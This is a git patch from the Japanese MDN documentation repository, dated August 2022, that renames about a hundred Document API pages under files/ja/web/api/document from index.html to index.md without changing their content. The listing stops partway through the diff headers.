From 23a8978c1d842b7f59645b1a3662ff30d62db80e Mon Sep 17 00:00:00 2001 From: Masahiro FUJIMOTO Date: Fri, 19 Aug 2022 03:50:30 +0900 Subject: [PATCH 1/5] =?UTF-8?q?web/api/document=20=E4=BB=A5=E4=B8=8B?= =?UTF-8?q?=E3=82=92=20md=20=E3=81=B8=E6=94=B9=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- files/ja/web/api/document/adoptnode/{index.html => index.md} | 0 .../document/afterscriptexecute_event/{index.html => index.md} | 0 files/ja/web/api/document/alinkcolor/{index.html => index.md} | 0 files/ja/web/api/document/all/{index.html => index.md} | 0 files/ja/web/api/document/applets/{index.html => index.md} | 0 files/ja/web/api/document/bgcolor/{index.html => index.md} | 0 files/ja/web/api/document/body/{index.html => index.md} | 0 .../api/document/caretpositionfrompoint/{index.html => index.md} | 0 files/ja/web/api/document/characterset/{index.html => index.md} | 0 .../web/api/document/childelementcount/{index.html => index.md} | 0 files/ja/web/api/document/clear/{index.html => index.md} | 0 files/ja/web/api/document/close/{index.html => index.md} | 0 files/ja/web/api/document/compatmode/{index.html => index.md} | 0 files/ja/web/api/document/contenttype/{index.html => index.md} | 0 files/ja/web/api/document/cookie/{index.html => index.md} | 0 files/ja/web/api/document/copy_event/{index.html => index.md} | 0 files/ja/web/api/document/createcomment/{index.html => index.md} | 0 .../api/document/createdocumentfragment/{index.html => index.md} | 0 .../ja/web/api/document/createelementns/{index.html => index.md} | 0 files/ja/web/api/document/createevent/{index.html => index.md} | 0 .../ja/web/api/document/createexpression/{index.html => index.md} | 0 .../web/api/document/createnodeiterator/{index.html => index.md} | 0 .../ja/web/api/document/creatensresolver/{index.html => index.md} | 0 .../document/createprocessinginstruction/{index.html => index.md} | 0 files/ja/web/api/document/createrange/{index.html => index.md} | 0 files/ja/web/api/document/createtextnode/{index.html => index.md} | 0 files/ja/web/api/document/createtouch/{index.html => index.md} | 0 .../ja/web/api/document/createtouchlist/{index.html => index.md} | 0 files/ja/web/api/document/currentscript/{index.html => index.md} | 0 files/ja/web/api/document/cut_event/{index.html => index.md} | 0 files/ja/web/api/document/defaultview/{index.html => index.md} | 0 files/ja/web/api/document/designmode/{index.html => index.md} | 0 files/ja/web/api/document/dir/{index.html => index.md} | 0 files/ja/web/api/document/doctype/{index.html => index.md} | 0 files/ja/web/api/document/document/{index.html => index.md} | 0 .../ja/web/api/document/documentelement/{index.html => index.md} | 0 files/ja/web/api/document/documenturi/{index.html => index.md} | 0 .../web/api/document/documenturiobject/{index.html => index.md} | 0 files/ja/web/api/document/domain/{index.html => index.md} | 0 .../api/document/domcontentloaded_event/{index.html => index.md} | 0 .../web/api/document/elementsfrompoint/{index.html => index.md} | 0 files/ja/web/api/document/embeds/{index.html => index.md} | 0 files/ja/web/api/document/evaluate/{index.html => index.md} | 0 files/ja/web/api/document/exitfullscreen/{index.html => index.md} | 0 .../ja/web/api/document/exitpointerlock/{index.html => index.md} | 0 files/ja/web/api/document/featurepolicy/{index.html => index.md} | 0 files/ja/web/api/document/fgcolor/{index.html => index.md} | 0 files/ja/web/api/document/fonts/{index.html => index.md} | 0 files/ja/web/api/document/forms/{index.html => index.md} | 0 files/ja/web/api/document/fullscreen/{index.html => index.md} | 0 .../api/document/fullscreenchange_event/{index.html => index.md} | 0 .../web/api/document/fullscreenelement/{index.html => index.md} | 0 .../web/api/document/fullscreenenabled/{index.html => index.md} | 0 .../api/document/fullscreenerror_event/{index.html => index.md} | 0 files/ja/web/api/document/getanimations/{index.html => index.md} | 0 files/ja/web/api/document/getelementbyid/{index.html => index.md} | 0 .../api/document/getelementsbyclassname/{index.html => index.md} | 0 .../web/api/document/getelementsbyname/{index.html => index.md} | 0 .../api/document/getelementsbytagname/{index.html => index.md} | 0 .../api/document/getelementsbytagnamens/{index.html => index.md} | 0 files/ja/web/api/document/getselection/{index.html => index.md} | 0 files/ja/web/api/document/hasfocus/{index.html => index.md} | 0 .../ja/web/api/document/hasstorageaccess/{index.html => index.md} | 0 files/ja/web/api/document/head/{index.html => index.md} | 0 files/ja/web/api/document/hidden/{index.html => index.md} | 0 files/ja/web/api/document/images/{index.html => index.md} | 0 files/ja/web/api/document/implementation/{index.html => index.md} | 0 files/ja/web/api/document/lastmodified/{index.html => index.md} | 0 files/ja/web/api/document/linkcolor/{index.html => index.md} | 0 files/ja/web/api/document/links/{index.html => index.md} | 0 files/ja/web/api/document/location/{index.html => index.md} | 0 .../document/lostpointercapture_event/{index.html => index.md} | 0 files/ja/web/api/document/open/{index.html => index.md} | 0 files/ja/web/api/document/paste_event/{index.html => index.md} | 0 files/ja/web/api/document/plugins/{index.html => index.md} | 0 .../web/api/document/pointercancel_event/{index.html => index.md} | 0 .../web/api/document/pointerdown_event/{index.html => index.md} | 0 .../web/api/document/pointerenter_event/{index.html => index.md} | 0 .../web/api/document/pointerleave_event/{index.html => index.md} | 0 .../api/document/pointerlockchange_event/{index.html => index.md} | 0 .../web/api/document/pointerlockelement/{index.html => index.md} | 0 .../api/document/pointerlockerror_event/{index.html => index.md} | 0 .../web/api/document/pointermove_event/{index.html => index.md} | 0 .../ja/web/api/document/pointerout_event/{index.html => index.md} | 0 .../web/api/document/pointerover_event/{index.html => index.md} | 0 .../ja/web/api/document/pointerup_event/{index.html => index.md} | 0 .../api/document/readystatechange_event/{index.html => index.md} | 0 files/ja/web/api/document/referrer/{index.html => index.md} | 0 files/ja/web/api/document/scripts/{index.html => index.md} | 0 files/ja/web/api/document/scroll_event/{index.html => index.md} | 0 .../ja/web/api/document/scrollingelement/{index.html => index.md} | 0 .../api/document/selectionchange_event/{index.html => index.md} | 0 .../web/api/document/selectstart_event/{index.html => index.md} | 0 files/ja/web/api/document/stylesheets/{index.html => index.md} | 0 files/ja/web/api/document/title/{index.html => index.md} | 0 files/ja/web/api/document/tooltipnode/{index.html => index.md} | 0 .../web/api/document/touchcancel_event/{index.html => index.md} | 0 files/ja/web/api/document/touchend_event/{index.html => index.md} | 0 .../ja/web/api/document/touchmove_event/{index.html => index.md} | 0 .../ja/web/api/document/touchstart_event/{index.html => index.md} | 0 files/ja/web/api/document/url/{index.html => index.md} | 0 .../api/document/visibilitychange_event/{index.html => index.md} | 0 .../ja/web/api/document/visibilitystate/{index.html => index.md} | 0 files/ja/web/api/document/vlinkcolor/{index.html => index.md} | 0 files/ja/web/api/document/write/{index.html => index.md} | 0 files/ja/web/api/document/writeln/{index.html => index.md} | 0 106 files changed, 0 insertions(+), 0 deletions(-) rename files/ja/web/api/document/adoptnode/{index.html => index.md} (100%) rename files/ja/web/api/document/afterscriptexecute_event/{index.html => index.md} (100%) rename files/ja/web/api/document/alinkcolor/{index.html => index.md} (100%) rename files/ja/web/api/document/all/{index.html => index.md} (100%) rename files/ja/web/api/document/applets/{index.html => index.md} (100%) rename files/ja/web/api/document/bgcolor/{index.html => index.md} (100%) rename files/ja/web/api/document/body/{index.html => index.md} (100%) rename files/ja/web/api/document/caretpositionfrompoint/{index.html => index.md} (100%) rename files/ja/web/api/document/characterset/{index.html => index.md} (100%) rename files/ja/web/api/document/childelementcount/{index.html => index.md} (100%) rename files/ja/web/api/document/clear/{index.html => index.md} (100%) rename files/ja/web/api/document/close/{index.html => index.md} (100%) rename files/ja/web/api/document/compatmode/{index.html => index.md} (100%) rename files/ja/web/api/document/contenttype/{index.html => index.md} (100%) rename files/ja/web/api/document/cookie/{index.html => index.md} (100%) rename files/ja/web/api/document/copy_event/{index.html => index.md} (100%) rename files/ja/web/api/document/createcomment/{index.html => index.md} (100%) rename files/ja/web/api/document/createdocumentfragment/{index.html => index.md} (100%) rename files/ja/web/api/document/createelementns/{index.html => index.md} (100%) rename files/ja/web/api/document/createevent/{index.html => index.md} (100%) rename files/ja/web/api/document/createexpression/{index.html => index.md} (100%) rename files/ja/web/api/document/createnodeiterator/{index.html => index.md} (100%) rename files/ja/web/api/document/creatensresolver/{index.html => index.md} (100%) rename files/ja/web/api/document/createprocessinginstruction/{index.html => index.md} (100%) rename files/ja/web/api/document/createrange/{index.html => index.md} (100%) rename files/ja/web/api/document/createtextnode/{index.html => index.md} (100%) rename files/ja/web/api/document/createtouch/{index.html => index.md} (100%) rename files/ja/web/api/document/createtouchlist/{index.html => index.md} (100%) rename files/ja/web/api/document/currentscript/{index.html => index.md} (100%) rename files/ja/web/api/document/cut_event/{index.html => index.md} (100%) rename files/ja/web/api/document/defaultview/{index.html => index.md} (100%) rename files/ja/web/api/document/designmode/{index.html => index.md} (100%) rename files/ja/web/api/document/dir/{index.html => index.md} (100%) rename files/ja/web/api/document/doctype/{index.html => index.md} (100%) rename files/ja/web/api/document/document/{index.html => index.md} (100%) rename files/ja/web/api/document/documentelement/{index.html => index.md} (100%) rename files/ja/web/api/document/documenturi/{index.html => index.md} (100%) rename files/ja/web/api/document/documenturiobject/{index.html => index.md} (100%) rename files/ja/web/api/document/domain/{index.html => index.md} (100%) rename files/ja/web/api/document/domcontentloaded_event/{index.html => index.md} (100%) rename files/ja/web/api/document/elementsfrompoint/{index.html => index.md} (100%) rename files/ja/web/api/document/embeds/{index.html => index.md} (100%) rename files/ja/web/api/document/evaluate/{index.html => index.md} (100%) rename files/ja/web/api/document/exitfullscreen/{index.html => index.md} (100%) rename files/ja/web/api/document/exitpointerlock/{index.html => index.md} (100%) rename files/ja/web/api/document/featurepolicy/{index.html => index.md} (100%) rename files/ja/web/api/document/fgcolor/{index.html => index.md} (100%) rename files/ja/web/api/document/fonts/{index.html => index.md} (100%) rename files/ja/web/api/document/forms/{index.html => index.md} (100%) rename files/ja/web/api/document/fullscreen/{index.html => index.md} (100%) rename files/ja/web/api/document/fullscreenchange_event/{index.html => index.md} (100%) rename files/ja/web/api/document/fullscreenelement/{index.html => index.md} (100%) rename files/ja/web/api/document/fullscreenenabled/{index.html => index.md} (100%) rename files/ja/web/api/document/fullscreenerror_event/{index.html => index.md} (100%) rename files/ja/web/api/document/getanimations/{index.html => index.md} (100%) rename files/ja/web/api/document/getelementbyid/{index.html => index.md} (100%) rename files/ja/web/api/document/getelementsbyclassname/{index.html => index.md} (100%) rename files/ja/web/api/document/getelementsbyname/{index.html => index.md} (100%) rename files/ja/web/api/document/getelementsbytagname/{index.html => index.md} (100%) rename files/ja/web/api/document/getelementsbytagnamens/{index.html => index.md} (100%) rename files/ja/web/api/document/getselection/{index.html => index.md} (100%) rename files/ja/web/api/document/hasfocus/{index.html => index.md} (100%) rename files/ja/web/api/document/hasstorageaccess/{index.html => index.md} (100%) rename files/ja/web/api/document/head/{index.html => index.md} (100%) rename files/ja/web/api/document/hidden/{index.html => index.md} (100%) rename files/ja/web/api/document/images/{index.html => index.md} (100%) rename files/ja/web/api/document/implementation/{index.html => index.md} (100%) rename files/ja/web/api/document/lastmodified/{index.html => index.md} (100%) rename files/ja/web/api/document/linkcolor/{index.html => index.md} (100%) rename files/ja/web/api/document/links/{index.html => index.md} (100%) rename files/ja/web/api/document/location/{index.html => index.md} (100%) rename files/ja/web/api/document/lostpointercapture_event/{index.html => index.md} (100%) rename files/ja/web/api/document/open/{index.html => index.md} (100%) rename files/ja/web/api/document/paste_event/{index.html => index.md} (100%) rename files/ja/web/api/document/plugins/{index.html => index.md} (100%) rename files/ja/web/api/document/pointercancel_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerdown_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerenter_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerleave_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerlockchange_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerlockelement/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerlockerror_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointermove_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerout_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerover_event/{index.html => index.md} (100%) rename files/ja/web/api/document/pointerup_event/{index.html => index.md} (100%) rename files/ja/web/api/document/readystatechange_event/{index.html => index.md} (100%) rename files/ja/web/api/document/referrer/{index.html => index.md} (100%) rename files/ja/web/api/document/scripts/{index.html => index.md} (100%) rename files/ja/web/api/document/scroll_event/{index.html => index.md} (100%) rename files/ja/web/api/document/scrollingelement/{index.html => index.md} (100%) rename files/ja/web/api/document/selectionchange_event/{index.html => index.md} (100%) rename files/ja/web/api/document/selectstart_event/{index.html => index.md} (100%) rename files/ja/web/api/document/stylesheets/{index.html => index.md} (100%) rename files/ja/web/api/document/title/{index.html => index.md} (100%) rename files/ja/web/api/document/tooltipnode/{index.html => index.md} (100%) rename files/ja/web/api/document/touchcancel_event/{index.html => index.md} (100%) rename files/ja/web/api/document/touchend_event/{index.html => index.md} (100%) rename files/ja/web/api/document/touchmove_event/{index.html => index.md} (100%) rename files/ja/web/api/document/touchstart_event/{index.html => index.md} (100%) rename files/ja/web/api/document/url/{index.html => index.md} (100%) rename files/ja/web/api/document/visibilitychange_event/{index.html => index.md} (100%) rename files/ja/web/api/document/visibilitystate/{index.html => index.md} (100%) rename files/ja/web/api/document/vlinkcolor/{index.html => index.md} (100%) rename files/ja/web/api/document/write/{index.html => index.md} (100%) rename files/ja/web/api/document/writeln/{index.html => index.md} (100%) diff --git a/files/ja/web/api/document/adoptnode/index.html b/files/ja/web/api/document/adoptnode/index.md similarity index 100% rename from files/ja/web/api/document/adoptnode/index.html rename to files/ja/web/api/document/adoptnode/index.md diff --git a/files/ja/web/api/document/afterscriptexecute_event/index.html b/files/ja/web/api/document/afterscriptexecute_event/index.md similarity index 100% rename from files/ja/web/api/document/afterscriptexecute_event/index.html rename to files/ja/web/api/document/afterscriptexecute_event/index.md diff --git a/files/ja/web/api/document/alinkcolor/index.html b/files/ja/web/api/document/alinkcolor/index.md similarity index 100% rename from files/ja/web/api/document/alinkcolor/index.html rename to files/ja/web/api/document/alinkcolor/index.md diff --git a/files/ja/web/api/document/all/index.html b/files/ja/web/api/document/all/index.md similarity index 100% rename from files/ja/web/api/document/all/index.html rename to files/ja/web/api/document/all/index.md diff --git a/files/ja/web/api/document/applets/index.html b/files/ja/web/api/document/applets/index.md similarity index 100% rename from files/ja/web/api/document/applets/index.html rename to files/ja/web/api/document/applets/index.md diff --git a/files/ja/web/api/document/bgcolor/index.html b/files/ja/web/api/document/bgcolor/index.md similarity index 100% rename from files/ja/web/api/document/bgcolor/index.html rename to files/ja/web/api/document/bgcolor/index.md diff --git a/files/ja/web/api/document/body/index.html b/files/ja/web/api/document/body/index.md similarity index 100% rename from files/ja/web/api/document/body/index.html rename to files/ja/web/api/document/body/index.md diff --git a/files/ja/web/api/document/caretpositionfrompoint/index.html b/files/ja/web/api/document/caretpositionfrompoint/index.md similarity index 100% rename from files/ja/web/api/document/caretpositionfrompoint/index.html rename to files/ja/web/api/document/caretpositionfrompoint/index.md diff --git a/files/ja/web/api/document/characterset/index.html b/files/ja/web/api/document/characterset/index.md similarity index 100% rename from files/ja/web/api/document/characterset/index.html rename to files/ja/web/api/document/characterset/index.md diff --git a/files/ja/web/api/document/childelementcount/index.html b/files/ja/web/api/document/childelementcount/index.md similarity index 100% rename from files/ja/web/api/document/childelementcount/index.html rename to files/ja/web/api/document/childelementcount/index.md diff --git a/files/ja/web/api/document/clear/index.html b/files/ja/web/api/document/clear/index.md similarity index 100% rename from files/ja/web/api/document/clear/index.html rename to files/ja/web/api/document/clear/index.md diff --git a/files/ja/web/api/document/close/index.html b/files/ja/web/api/document/close/index.md similarity index 100% rename from files/ja/web/api/document/close/index.html rename to files/ja/web/api/document/close/index.md diff --git a/files/ja/web/api/document/compatmode/index.html b/files/ja/web/api/document/compatmode/index.md similarity index 100% rename from files/ja/web/api/document/compatmode/index.html rename to files/ja/web/api/document/compatmode/index.md diff --git a/files/ja/web/api/document/contenttype/index.html b/files/ja/web/api/document/contenttype/index.md similarity index 100% rename from files/ja/web/api/document/contenttype/index.html rename to files/ja/web/api/document/contenttype/index.md diff --git a/files/ja/web/api/document/cookie/index.html b/files/ja/web/api/document/cookie/index.md similarity index 100% rename from files/ja/web/api/document/cookie/index.html rename to files/ja/web/api/document/cookie/index.md diff --git a/files/ja/web/api/document/copy_event/index.html b/files/ja/web/api/document/copy_event/index.md similarity index 100% rename from files/ja/web/api/document/copy_event/index.html rename to files/ja/web/api/document/copy_event/index.md diff --git a/files/ja/web/api/document/createcomment/index.html b/files/ja/web/api/document/createcomment/index.md similarity index 100% rename from files/ja/web/api/document/createcomment/index.html rename to files/ja/web/api/document/createcomment/index.md diff --git a/files/ja/web/api/document/createdocumentfragment/index.html b/files/ja/web/api/document/createdocumentfragment/index.md similarity index 100% rename from files/ja/web/api/document/createdocumentfragment/index.html rename to files/ja/web/api/document/createdocumentfragment/index.md diff --git a/files/ja/web/api/document/createelementns/index.html b/files/ja/web/api/document/createelementns/index.md similarity index 100% rename from files/ja/web/api/document/createelementns/index.html rename to files/ja/web/api/document/createelementns/index.md diff --git a/files/ja/web/api/document/createevent/index.html b/files/ja/web/api/document/createevent/index.md similarity index 100% rename from files/ja/web/api/document/createevent/index.html rename to files/ja/web/api/document/createevent/index.md diff --git a/files/ja/web/api/document/createexpression/index.html b/files/ja/web/api/document/createexpression/index.md similarity index 100% rename from files/ja/web/api/document/createexpression/index.html rename to files/ja/web/api/document/createexpression/index.md diff --git a/files/ja/web/api/document/createnodeiterator/index.html b/files/ja/web/api/document/createnodeiterator/index.md similarity index 100% rename from files/ja/web/api/document/createnodeiterator/index.html rename to files/ja/web/api/document/createnodeiterator/index.md diff --git a/files/ja/web/api/document/creatensresolver/index.html b/files/ja/web/api/document/creatensresolver/index.md similarity index 100% rename from files/ja/web/api/document/creatensresolver/index.html rename to files/ja/web/api/document/creatensresolver/index.md diff --git a/files/ja/web/api/document/createprocessinginstruction/index.html b/files/ja/web/api/document/createprocessinginstruction/index.md similarity index 100% rename from files/ja/web/api/document/createprocessinginstruction/index.html rename to files/ja/web/api/document/createprocessinginstruction/index.md diff --git a/files/ja/web/api/document/createrange/index.html b/files/ja/web/api/document/createrange/index.md similarity index 100% rename from files/ja/web/api/document/createrange/index.html rename to files/ja/web/api/document/createrange/index.md diff --git a/files/ja/web/api/document/createtextnode/index.html b/files/ja/web/api/document/createtextnode/index.md similarity index 100% rename from files/ja/web/api/document/createtextnode/index.html rename to files/ja/web/api/document/createtextnode/index.md diff --git a/files/ja/web/api/document/createtouch/index.html b/files/ja/web/api/document/createtouch/index.md similarity index 100% rename from files/ja/web/api/document/createtouch/index.html rename to files/ja/web/api/document/createtouch/index.md diff --git a/files/ja/web/api/document/createtouchlist/index.html b/files/ja/web/api/document/createtouchlist/index.md similarity index 100% rename from files/ja/web/api/document/createtouchlist/index.html rename to files/ja/web/api/document/createtouchlist/index.md diff --git a/files/ja/web/api/document/currentscript/index.html b/files/ja/web/api/document/currentscript/index.md similarity index 100% rename from files/ja/web/api/document/currentscript/index.html rename to files/ja/web/api/document/currentscript/index.md diff --git a/files/ja/web/api/document/cut_event/index.html b/files/ja/web/api/document/cut_event/index.md similarity index 100% rename from files/ja/web/api/document/cut_event/index.html rename to files/ja/web/api/document/cut_event/index.md diff --git a/files/ja/web/api/document/defaultview/index.html b/files/ja/web/api/document/defaultview/index.md similarity index 100% rename from files/ja/web/api/document/defaultview/index.html rename to files/ja/web/api/document/defaultview/index.md diff --git a/files/ja/web/api/document/designmode/index.html b/files/ja/web/api/document/designmode/index.md similarity index 100% rename from files/ja/web/api/document/designmode/index.html rename to files/ja/web/api/document/designmode/index.md diff --git a/files/ja/web/api/document/dir/index.html b/files/ja/web/api/document/dir/index.md similarity index 100% rename from files/ja/web/api/document/dir/index.html rename to files/ja/web/api/document/dir/index.md diff --git a/files/ja/web/api/document/doctype/index.html b/files/ja/web/api/document/doctype/index.md similarity index 100% rename from files/ja/web/api/document/doctype/index.html rename to files/ja/web/api/document/doctype/index.md diff --git a/files/ja/web/api/document/document/index.html b/files/ja/web/api/document/document/index.md similarity index 100% rename from files/ja/web/api/document/document/index.html rename to files/ja/web/api/document/document/index.md diff --git a/files/ja/web/api/document/documentelement/index.html b/files/ja/web/api/document/documentelement/index.md similarity index 100% rename from files/ja/web/api/document/documentelement/index.html rename to files/ja/web/api/document/documentelement/index.md diff --git a/files/ja/web/api/document/documenturi/index.html b/files/ja/web/api/document/documenturi/index.md similarity index 100% rename from files/ja/web/api/document/documenturi/index.html rename to files/ja/web/api/document/documenturi/index.md diff --git a/files/ja/web/api/document/documenturiobject/index.html b/files/ja/web/api/document/documenturiobject/index.md similarity index 100% rename from files/ja/web/api/document/documenturiobject/index.html rename to files/ja/web/api/document/documenturiobject/index.md diff --git a/files/ja/web/api/document/domain/index.html b/files/ja/web/api/document/domain/index.md similarity index 100% rename from files/ja/web/api/document/domain/index.html rename to files/ja/web/api/document/domain/index.md diff --git a/files/ja/web/api/document/domcontentloaded_event/index.html b/files/ja/web/api/document/domcontentloaded_event/index.md similarity index 100% rename from files/ja/web/api/document/domcontentloaded_event/index.html rename to files/ja/web/api/document/domcontentloaded_event/index.md diff --git a/files/ja/web/api/document/elementsfrompoint/index.html b/files/ja/web/api/document/elementsfrompoint/index.md similarity index 100% rename from files/ja/web/api/document/elementsfrompoint/index.html rename to files/ja/web/api/document/elementsfrompoint/index.md diff --git a/files/ja/web/api/document/embeds/index.html b/files/ja/web/api/document/embeds/index.md similarity index 100% rename from files/ja/web/api/document/embeds/index.html rename to files/ja/web/api/document/embeds/index.md diff --git a/files/ja/web/api/document/evaluate/index.html b/files/ja/web/api/document/evaluate/index.md similarity index 100% rename from files/ja/web/api/document/evaluate/index.html rename to files/ja/web/api/document/evaluate/index.md diff --git a/files/ja/web/api/document/exitfullscreen/index.html b/files/ja/web/api/document/exitfullscreen/index.md similarity index 100% rename from files/ja/web/api/document/exitfullscreen/index.html rename to files/ja/web/api/document/exitfullscreen/index.md diff --git a/files/ja/web/api/document/exitpointerlock/index.html b/files/ja/web/api/document/exitpointerlock/index.md similarity index 100% rename from files/ja/web/api/document/exitpointerlock/index.html rename to files/ja/web/api/document/exitpointerlock/index.md diff --git a/files/ja/web/api/document/featurepolicy/index.html b/files/ja/web/api/document/featurepolicy/index.md similarity index 100% rename from files/ja/web/api/document/featurepolicy/index.html rename to files/ja/web/api/document/featurepolicy/index.md diff --git a/files/ja/web/api/document/fgcolor/index.html b/files/ja/web/api/document/fgcolor/index.md similarity index 100% rename from files/ja/web/api/document/fgcolor/index.html rename to files/ja/web/api/document/fgcolor/index.md diff --git a/files/ja/web/api/document/fonts/index.html b/files/ja/web/api/document/fonts/index.md similarity index 100% rename from files/ja/web/api/document/fonts/index.html rename to files/ja/web/api/document/fonts/index.md diff --git a/files/ja/web/api/document/forms/index.html b/files/ja/web/api/document/forms/index.md similarity index 100% rename from files/ja/web/api/document/forms/index.html rename to files/ja/web/api/document/forms/index.md diff --git a/files/ja/web/api/document/fullscreen/index.html b/files/ja/web/api/document/fullscreen/index.md similarity index 100% rename from files/ja/web/api/document/fullscreen/index.html rename to files/ja/web/api/document/fullscreen/index.md diff --git a/files/ja/web/api/document/fullscreenchange_event/index.html b/files/ja/web/api/document/fullscreenchange_event/index.md similarity index 100% rename from files/ja/web/api/document/fullscreenchange_event/index.html rename to files/ja/web/api/document/fullscreenchange_event/index.md diff --git a/files/ja/web/api/document/fullscreenelement/index.html b/files/ja/web/api/document/fullscreenelement/index.md similarity index 100% rename from files/ja/web/api/document/fullscreenelement/index.html rename to files/ja/web/api/document/fullscreenelement/index.md diff --git a/files/ja/web/api/document/fullscreenenabled/index.html b/files/ja/web/api/document/fullscreenenabled/index.md similarity index 100% rename from files/ja/web/api/document/fullscreenenabled/index.html rename to files/ja/web/api/document/fullscreenenabled/index.md diff --git a/files/ja/web/api/document/fullscreenerror_event/index.html b/files/ja/web/api/document/fullscreenerror_event/index.md similarity index 100% rename from files/ja/web/api/document/fullscreenerror_event/index.html rename to files/ja/web/api/document/fullscreenerror_event/index.md diff --git a/files/ja/web/api/document/getanimations/index.html b/files/ja/web/api/document/getanimations/index.md similarity index 100% rename from files/ja/web/api/document/getanimations/index.html rename to files/ja/web/api/document/getanimations/index.md diff --git a/files/ja/web/api/document/getelementbyid/index.html b/files/ja/web/api/document/getelementbyid/index.md similarity index 100% rename from files/ja/web/api/document/getelementbyid/index.html rename to files/ja/web/api/document/getelementbyid/index.md diff --git a/files/ja/web/api/document/getelementsbyclassname/index.html b/files/ja/web/api/document/getelementsbyclassname/index.md similarity index 100% rename from files/ja/web/api/document/getelementsbyclassname/index.html rename to files/ja/web/api/document/getelementsbyclassname/index.md diff --git a/files/ja/web/api/document/getelementsbyname/index.html b/files/ja/web/api/document/getelementsbyname/index.md similarity index 100% rename from files/ja/web/api/document/getelementsbyname/index.html rename to files/ja/web/api/document/getelementsbyname/index.md diff --git a/files/ja/web/api/document/getelementsbytagname/index.html b/files/ja/web/api/document/getelementsbytagname/index.md similarity index 100% rename from files/ja/web/api/document/getelementsbytagname/index.html rename to files/ja/web/api/document/getelementsbytagname/index.md diff --git a/files/ja/web/api/document/getelementsbytagnamens/index.html b/files/ja/web/api/document/getelementsbytagnamens/index.md similarity index 100% rename from files/ja/web/api/document/getelementsbytagnamens/index.html rename to files/ja/web/api/document/getelementsbytagnamens/index.md diff --git a/files/ja/web/api/document/getselection/index.html b/files/ja/web/api/document/getselection/index.md similarity index 100% rename from files/ja/web/api/document/getselection/index.html rename to files/ja/web/api/document/getselection/index.md diff --git a/files/ja/web/api/document/hasfocus/index.html b/files/ja/web/api/document/hasfocus/index.md similarity index 100% rename from files/ja/web/api/document/hasfocus/index.html rename to files/ja/web/api/document/hasfocus/index.md diff --git a/files/ja/web/api/document/hasstorageaccess/index.html b/files/ja/web/api/document/hasstorageaccess/index.md similarity index 100% rename from files/ja/web/api/document/hasstorageaccess/index.html rename to files/ja/web/api/document/hasstorageaccess/index.md diff --git a/files/ja/web/api/document/head/index.html b/files/ja/web/api/document/head/index.md similarity index 100% rename from files/ja/web/api/document/head/index.html rename to files/ja/web/api/document/head/index.md diff --git a/files/ja/web/api/document/hidden/index.html b/files/ja/web/api/document/hidden/index.md similarity index 100% rename from files/ja/web/api/document/hidden/index.html rename to files/ja/web/api/document/hidden/index.md diff --git a/files/ja/web/api/document/images/index.html b/files/ja/web/api/document/images/index.md similarity index 100% rename from files/ja/web/api/document/images/index.html rename to files/ja/web/api/document/images/index.md diff --git a/files/ja/web/api/document/implementation/index.html b/files/ja/web/api/document/implementation/index.md similarity index 100% rename from files/ja/web/api/document/implementation/index.html rename to files/ja/web/api/document/implementation/index.md diff --git a/files/ja/web/api/document/lastmodified/index.html b/files/ja/web/api/document/lastmodified/index.md similarity index 100% rename from files/ja/web/api/document/lastmodified/index.html rename to files/ja/web/api/document/lastmodified/index.md diff --git a/files/ja/web/api/document/linkcolor/index.html b/files/ja/web/api/document/linkcolor/index.md similarity index 100% rename from files/ja/web/api/document/linkcolor/index.html rename to files/ja/web/api/document/linkcolor/index.md diff --git a/files/ja/web/api/document/links/index.html b/files/ja/web/api/document/links/index.md similarity index 100% rename from files/ja/web/api/document/links/index.html rename to files/ja/web/api/document/links/index.md diff --git a/files/ja/web/api/document/location/index.html b/files/ja/web/api/document/location/index.md similarity index 100% rename from files/ja/web/api/document/location/index.html rename to files/ja/web/api/document/location/index.md diff --git a/files/ja/web/api/document/lostpointercapture_event/index.html b/files/ja/web/api/document/lostpointercapture_event/index.md similarity index 100% rename from files/ja/web/api/document/lostpointercapture_event/index.html rename to files/ja/web/api/document/lostpointercapture_event/index.md diff --git a/files/ja/web/api/document/open/index.html b/files/ja/web/api/document/open/index.md similarity index 100% rename from files/ja/web/api/document/open/index.html rename to files/ja/web/api/document/open/index.md diff --git a/files/ja/web/api/document/paste_event/index.html b/files/ja/web/api/document/paste_event/index.md similarity index 100% rename from files/ja/web/api/document/paste_event/index.html rename to files/ja/web/api/document/paste_event/index.md diff --git a/files/ja/web/api/document/plugins/index.html b/files/ja/web/api/document/plugins/index.md similarity index 100% rename from files/ja/web/api/document/plugins/index.html rename to files/ja/web/api/document/plugins/index.md diff --git a/files/ja/web/api/document/pointercancel_event/index.html b/files/ja/web/api/document/pointercancel_event/index.md similarity index 100% rename from files/ja/web/api/document/pointercancel_event/index.html rename to files/ja/web/api/document/pointercancel_event/index.md diff --git a/files/ja/web/api/document/pointerdown_event/index.html b/files/ja/web/api/document/pointerdown_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerdown_event/index.html rename to files/ja/web/api/document/pointerdown_event/index.md diff --git a/files/ja/web/api/document/pointerenter_event/index.html b/files/ja/web/api/document/pointerenter_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerenter_event/index.html rename to files/ja/web/api/document/pointerenter_event/index.md diff --git a/files/ja/web/api/document/pointerleave_event/index.html b/files/ja/web/api/document/pointerleave_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerleave_event/index.html rename to files/ja/web/api/document/pointerleave_event/index.md diff --git a/files/ja/web/api/document/pointerlockchange_event/index.html b/files/ja/web/api/document/pointerlockchange_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerlockchange_event/index.html rename to files/ja/web/api/document/pointerlockchange_event/index.md diff --git a/files/ja/web/api/document/pointerlockelement/index.html b/files/ja/web/api/document/pointerlockelement/index.md similarity index 100% rename from files/ja/web/api/document/pointerlockelement/index.html rename to files/ja/web/api/document/pointerlockelement/index.md diff --git a/files/ja/web/api/document/pointerlockerror_event/index.html b/files/ja/web/api/document/pointerlockerror_event/index.md similarity index 100% rename from files/ja/web/api/document/pointerlockerror_event/index.html rename to files/ja/web/api/document/pointerlockerror_event/index.md diff --git 